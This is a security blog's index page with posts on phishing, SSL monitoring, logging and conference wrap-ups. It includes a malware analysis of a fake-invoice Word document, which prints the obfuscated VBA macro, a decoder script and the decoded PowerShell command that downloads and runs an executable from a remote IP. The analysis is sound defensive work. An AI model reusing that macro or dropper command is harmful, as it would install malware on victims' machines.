When Security Makes Users Asleep!

AsleepIt’s a fact, in industries or on building sites, professional people make mistakes or, worse, get injured. Why? Because their attention is reduced at a certain point. When you’re doing the same job all day long, you get tired and lack of concentration. The same can apply in information security! For a long time, more and more solutions are deployed in companies to protect their data and users. Just make your wishlist amongst firewalls, (reverse-)proxies, next-generation firewalls, ID(P)S, anti-virus, anti-malware, end-point protection, etc (The list is very long). Often multiple lines of defenses are implemented with different firewalls, segmented networks, NAC. The combination of all those security controls tend to reduce successful attacks to a minimum. “To tend” does not mean that all of them will be blocked! A good example are phishing emails, they remain a very good way to abuse people. If most of them will be successfully detected, only one may have disastrous impacts. Once dropped in a user mailbox, there are chances that the potential victim will be asleep… Indeed, the company spent a lot of money to protect its infrastructure so the user will think “My company is doing a good job at protecting myself, so if I receive a message in my mailbox, I can trust it!“. Here is a real life example I’m working on.

A big organization received a very nicely formated email from a business partner. The mail had an attachment pretending to be a pending invoice and was sent to <info@company.com>. The person reading the information mailbox forwarded it, logically, to the accounting department. There, an accountant read the mail (coming from a trusted partner and forwarded by a colleague – what can go wrong?) and opened the attachment. No need to tell the rest of the story, you can imagine what happened. The malicious file was part of a new CBT-Locker campaign: The new malicious file was generated only a few hours before the attacks and, no luck, the installed solutions were not able (yet) to detect it. The malicious files passed successfully the following controls:

  • Antivirus/Antispam on the incoming MTA in the DMZ
  • A Next-Generation firewall (between the DMZ – LAN)
  • Some extra checks on the internal Exchange server
  • An end-point protection system

Users, don’t fall aspleep! Keep your eyes open and keep in mind that the controls deployed by your company are a way to reduce the risks of attacks. You car has ABS, ESP, cross-lane detection systems and much more but you still need to pay attention to the road! The same applies in IT, stay safe…

Tracking SSL Issues with the SSL Labs API

SSL LockThe SSL and TLS protocols have been on the front of the stage for months. Besides many vulnerabilities disclosed in the OpenSSL library, the deployment of SSL and TLS is not always easy. They are weak cyphers (like RC4), weak signatures, certificates issues (self-signed, expiration or fake ones). Other useful features are mis-understood and not often not configured like PFS (“Perfect Forward Secrecy”). Encryption effectiveness is directly related to the way it is implemented and used. If it’s not the case, encrypted data can be compromized by multiple attacks scenarios. To resume: For users, the presence of a small yellow lock close to the URL in your browser does not mean that you are 100% safe. For administrators and website owners: it’s not because you have a good SSL configuration today  that it will remain safe in the coming months/years. Unfortunately, keeping an eye on your SSL configurations is a pain.

Read More →

Deobfuscating Malicious VBA Macro with a Few Lines of Python

DeobfuscateJust a quick post about a problem that security analysts are facing daily… For a while, malicious Office documents are delivered with OLE objects containing VBA macros. Bad guys are always using obfuscation techniques to make the analysis more difficult and (try to) bypass basic filters. This makes the analysis not impossible but boring and time consuming.

As example, we see more and more VBA macros with strings obfuscated by encoding characters with the ‘Chr()‘ or ‘Chrw()‘ functions. Check the following piece of code:

Set ertertFFFg = CreateObject(Chr$(77) & Chr$(83) & Chr$(88) & Chr$(77) & Chr$(76) & Chr$(50) & Chr$(46) & Chr$(88) & Chr$(77) & Chr$(76) & Chr$(72) & Chr$(84) & Chr$(84) & Chr$(80))

Once decoded, the variable ‘ertertFFg‘ is assigned the following value:

Set ertertFFFg = CreateObject(MSXML2.XMLHTTP)

Seeing more and more macros based on this obfuscation technique, I wrote a quick and dirty Python script to help a friend. Currently it supports the following syntaxes:

  • chrw(x)
  • chrw(x.y+x.y)
  • chr$(x)

The script reads the macro from stdin and output the decoded strings to stdout. Feel free to use it, it is available on my github repo.

 

 

The Art of Logging

Logfiles[This blogpost has been published as a guest diary on isc.sans.org]

Handling log files is not a new topic. For a long time, people should know that taking care of your logs is a must have. They are very valuable when you need to investigate an incident. But, if collecting events and storing them for later processing is one point, events must be properly generated to be able to investigate suspicious activities! Let’s take by example a firewall… Logging all the accepted traffic is one step but what’s really important is to log all the rejected traffic. Most of the modern security devices (IDS, firewalls, web application firewalls, …) can integrate dynamic blacklists maintained by external organizations. They are plenty of usefull blacklists on the internet with IP addresses, domain names, etc… It’s quite easy to add a rule on top of your security policy which says:

if (source_ip in blacklist):
    drop_traffic()

With the “blacklist” table being populated by an external process. Usually, this rule is defined at the beginning of the security policy for performance reason. Very efficient, but is it the right place?

Let’s assume a web application firewall which has this kind of feature. It will drop all connections from a (reported as) suspicious IP address from the beginning without more details. Let’s put the blacklist rule at the end of the policy of our WAF. We have now something like this:

if (detected_attack(pattern1)):
    drop_traffic()
elif (detected_attack(pattern2)):
   drop_traffic()
elif (detected_attack(pattern3)):
  drop_traffic()
elif  (source_ip in blacklist):
  drop_traffic()

If we block the malicious IP addresses at the beginning of the policy, we’ll never know which kind of attack has been tried. By blocking our malicious IP addresses at the end, we know that if one IP is blocked, our policy was not effective enough to block the attack! Maybe a new type of attack was tried and we need to add a new pattern. Blocking attackers is good but it’s more valuable to know why they were blocked…

Hack in Paris Challenge Wrap-Up

I Have a Solution for ThatA few days ago, I proposed a challenge to solve. The first ten people, who solved it, won a free ticket to attend the security conference Hack in Paris in June. Thanks to all the players! If all tickets were assigned after a few days, some people did not solve the challenge and asked me to publish a small wrap-up with the solution. The challenge was based on a single file still available here. About the participants, here are some stats:

  • The file was downloaded from 253 unique IP addresses
  • The solution (another file to download) was downloaded from 29 uniques IP addresses

Not too bad for a small challenge like this! Let’s go with the solution…

Read More →

Challenge Ahead, Free Tickets for Hack in Paris 2015!

Hack in Paris

<Warning>Challenge closed</Warning>

Like the previous two years, I’m happy to be a media partner of the French security conferenceHack in Paris“. The schedule is now online, great talks are foreseen! As a media partner, I receive a bunch of coupons for you. They will allow you to attend the two-days event for free.

Wanna play? The challenge starts by downloading this file. Be curious!

As usual, every contest needs some rules and recommendations:

  • The challenge is in the file. Don’t try to abuse this website.
  • Only one coupon per player.
  • If you win a coupon, be sure to be able to attend the conference in Paris, June 2015. Do not waste them and let me know if you played for the fun.

One coupon grants you:

  • Access to the Hack in Paris conference on June 18th – 19th in Paris.
  • Access to the next event “La Nuit du Hack “on June 20th (same place).

Not included:

  • Travel, food and hotel and all extra costs.
  • Coupons are not valid for training.

You don’t want to play and directly register? The registration page is here.

Malicious MS Word Document not Detected by AV Software

[This blogpost has also been published as a guest diary on isc.sans.org]

Like everybody, I’m receiving a lot of spam everyday but… I like it! All unsocilited received messages are stored in a dedicated folder for two purposes:

  • An automatic processing via my tool mime2vt
  • A manual review at regular interval

This helps me to find new types of spams or new techniques used by attackers to deliver malicious content in our mailboxes. Today, I received an interesting Word document. I’m not sure if it is a very common one but I did a small analysis. The mail was based on a classic fake invoice notification:

From: Ollie Oconnor <Carlos.b1ac@pax-pr.com>
To: xavier <xxx>
Subject: 49933-Your Latest Documents from RS Components 570009054

The fake invoice was related to rswww.com which is a UK online shop for electronic devices, components and IT related stuffs. The attached Word document was processed by my MIME2VT tool but the VirusTotal score was 0/53! Interesting… It was too tempting to make some manual investigations. Using Didier Stevens’s tool oledump, I extracted the following macro:

$ ./oledump.py /tmp/20150331-A7740189461014146728299-1.doc
 1:      113 '\x01CompObj'
 2:     4096 '\x05DocumentSummaryInformation'
 3:     4096 '\x05SummaryInformation'
 4:     4096 '1Table'
 5:     4096 'Data'
 6:      490 'Macros/PROJECT'
 7:       65 'Macros/PROJECTwm'
 8: M  11613 'Macros/VBA/Module1'
 9: M   1214 'Macros/VBA/ThisDocument'
10:     2932 'Macros/VBA/_VBA_PROJECT'
11:     1165 'Macros/VBA/__SRP_0'
12:       70 'Macros/VBA/__SRP_1'
13:     8430 'Macros/VBA/__SRP_2'
14:      103 'Macros/VBA/__SRP_3'
15:      561 'Macros/VBA/dir'
16:     5684 'WordDocument'
$ ./oledump.py -s 8 -v /tmp/20150331-A7740189461014146728299-1.doc
Attribute VB_Name = "Module1"
Sub sdfsdfdsf()
GVhkjbjv = chrw(49.5 + 49.5) & chrw(54.5 + 54.5) & chrw(50 + 50) & chrw(16 + 16) & chrw(23.5 + 23.5) & chrw(37.5 + 37.5) & chrw(16 + 16) & chrw(56 + 56) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(50.5 + 50.5) & chrw(57 + 57) & chrw(57.5 + 57.5) & chrw(52 + 52) & chrw(50.5 + 50.5) & chrw(54 + 54) & chrw(54 + 54) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(22.5 + 22.5) & chrw(34.5 + 34.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58.5 + 58.5) & chrw(58 + 58) & chrw(52.5 + 52.5) & chrw(55.5 + 55.5) & chrw(55 + 55) & chrw(40 + 40) & chrw(55.5 + 55.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(49.5 + 49.5) & chrw(60.5 + 60.5) & chrw(16 + 16) & chrw(49 + 49) & chrw(60.5 + 60.5) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(57.5 + 57.5) & chrw(57.5 + 57.5) & chrw(16 + 16)
GYUUYIiii = chrw(22.5 + 22.5) & chrw(55 + 55) & chrw(55.5 + 55.5) & chrw(56 + 56) & chrw(57 + 57) & chrw(55.5 + 55.5) & chrw(51 + 51) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(20 + 20) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(59.5 + 59.5) & chrw(22.5 + 22.5) & chrw(39.5 + 39.5) & chrw(49 + 49) & chrw(53 + 53) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58 + 58) & chrw(16 + 16) & chrw(41.5 + 41.5) & chrw(60.5 + 60.5) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(50.5 + 50.5) & chrw(54.5 + 54.5) & chrw(23 + 23) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(58 + 58) & chrw(23 + 23) & chrw(43.5 + 43.5) & chrw(50.5 + 50.5) & chrw(49 + 49) & chrw(33.5 + 33.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(50.5 + 50.5) & chrw(55 + 55) & chrw(58 + 58) & chrw(20.5 + 20.5) & chrw(23 + 23)
hgFYyhhshu = chrw(34 + 34) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(55 + 55) & chrw(54 + 54) & chrw(55.5 + 55.5) & chrw(48.5 + 48.5) & chrw(50 + 50) & chrw(35 + 35) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(20 + 20) & chrw(19.5 + 19.5) & chrw(52 + 52) & chrw(58 + 58) & chrw(58 + 58) & chrw(56 + 56) & chrw(29 + 29) & chrw(23.5 + 23.5) & chrw(23.5 + 23.5) & chrw(24.5 + 24.5) & chrw(28 + 28) & chrw(26.5 + 26.5) & chrw(23 + 23) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(24.5 + 24.5) & chrw(26 + 26) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(25 + 25) & chrw(24.5 + 24.5) & chrw(23.5 + 23.5) & chrw(53 + 53) & chrw(57.5 + 57.5) & chrw(48.5 + 48.5) & chrw(60 + 60) & chrw(55.5 + 55.5) & chrw(28 + 28) & chrw(58.5 + 58.5) & chrw(23.5 + 23.5) & chrw(51.5 + 51.5) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(49 + 49) & chrw(25 + 25) & chrw(49.5 + 49.5) & chrw(60 + 60) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(19.5 + 19.5)
GYiuudsuds = chrw(22 + 22) & chrw(19.5 + 19.5) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(19.5 + 19.5) & chrw(20.5 + 20.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(55 + 55) & chrw(50 + 50) & chrw(16 + 16)
shdfihiof = chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23)
doifhsoip = chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(48.5 + 48.5) & chrw(57 + 57) & chrw(58 + 58) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5)
JHGUgisdc = GVhkjbjv + GYUUYIiii + hgFYyhhshu + GYiuudsuds + shdfihiof + doifhsoip
IUGuyguisdf = Shell(JHGUgisdc, 0)
End Sub

The macro is quite simple: a shell command is obfuscated by multiple chrw() functions to generate substrings which are concatenated and passwed to the Shell() function to be executed. Let’s write a small python script to decode this. I’m search for all occurences of chrw(), extract the values to create a new string:

#!/usr/bin/python
import re
import sys
data = sys.stdin.read()
r = re.compile('chrw\((\S+) \+ (\S+)\)')
i = re.findall(r, data)
cmd = ""
for match in i:
    cmd = cmd + chr(int(float(match[0]) + float(match[1]))
print cmd

Here is the result:

# ./oledump.py -s 8 -v /tmp/20150331-A7740189461014146728299-1.doc | ./decode.py
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://185.39.149.21/jsaxo8u/g39b2cx.exe','%TEMP%\4543543.cab'); expand %TEMP%\4543543.cab %TEMP%\4543543.exe; start %TEMP%\4543543.exe;

The webserver being the IP address 185.39.149.21 (located in Russia) is down at the moment… I’m keeping an eye on it…

Troopers15 Wrap-Up Day #2

Troopers VenueThis is my wrap-up for the second day of Troopers15. Before the review of the talks, a few words about the conference. The venue is really nice as well as the facilities. A good WiFi coverage (IPv4/IPv6) and even a dedicated GSM network! “Troopers” SIM card were available for free at the reception desk. Besides the classic activities, a charity auction was also organized to help organizations to realize projects around the Internet like installing a satellite link in a refugee camp.

Read More →

Troopers15 Wrap-Up Day #1

Troppers 15This is my first Troopers conference. I already heard lot of positive comments about this event but I never attended it. As I’ll start a new job position soon, I had the opportunity to take some days off to join Heidelberg in Germany. The conference is split across two days and three tracks: “attack & research”, “defence & management” and a special one dedicated to the security of SAP. Honestly, I’m not working with SAP environments so I decided to not follow the last track. The core organizer, Enno Rey, made a funny introduction speech and gave some numbers about the 2015 edition: 73 speakers, 160 people from the industry and 51 students (fresh blood). A key message for the conference is to not see speakers as super-stars. Don’t be afraid to talk to them and share!

Read More →

The lack of network documentation…

[This blogpost has also been published as a guest diary on isc.sans.org]

Document All Things

Writing documentation is a pain for most of us but… mandatory! Pentesters and auditors don’t like to write their reports once the funny stuff has been completed. It is the same for the developers. Writing code and developing new products is fun but good documentation is often missing. By documentation, I mean “network” documentation. Why?

Read More →